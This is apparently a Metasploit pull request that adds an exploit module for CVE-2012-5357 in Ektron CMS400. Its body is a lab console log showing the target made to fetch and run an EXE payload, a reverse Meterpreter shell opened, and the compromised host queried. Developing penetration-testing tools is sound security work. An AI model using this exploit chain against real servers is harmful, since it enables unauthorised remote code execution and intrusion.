rapid7/metasploit-framework — pull request #1120 by jvazquez-r7 (2012-12-03 19:13:36+00:00)
Title: Added module for CVE-2012-5357

Tested on windows 2003 sp2 / Ektron CMS400 8.02

msf exploit(ektron_xslt_exec) > reload
[*] Reloading module...
msf exploit(ektron_xslt_exec) > check
[+] The target is vulnerable.
msf exploit(ektron_xslt_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.129:4444
[*] Generating the EXE Payload...
msf exploit(ektron_xslt_exec) > [*] Generating the XSLT...
[*] Setting up the Web Service...
[*] Starting up our web service on http://192.168.1.129:8080/zYaBZUOcD.txt ...
[*] Using URL: http://0.0.0.0:8080/zYaBZUOcD.txt
[*] Local IP: http://192.168.1.129:8080/zYaBZUOcD.txt
[*] Trying to run the xslt transformation...
[+] Sending the EXE payload to the target...
[+] Exploitation was successful
[*] Waiting for the victim to request the EXE payload...
[*] Giving time to the payload to execute...
[*] Sending stage (752128 bytes) to 192.168.1.138
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.138:1080) at 2012-12-03 20:06:07 +0100
[-] Failed to delete C:\WINDOWS\Temp\bCwCD.txt
[*] Shutting down the web service...
[!] This exploit may require manual cleanup of: bCwCD.txt

msf exploit(ektron_xslt_exec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > pwd
c:\windows\system32\inetsrv
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.138 - Meterpreter session 1 closed. Reason: User exit
msf exploit(ektron_xslt_exec) > exit -y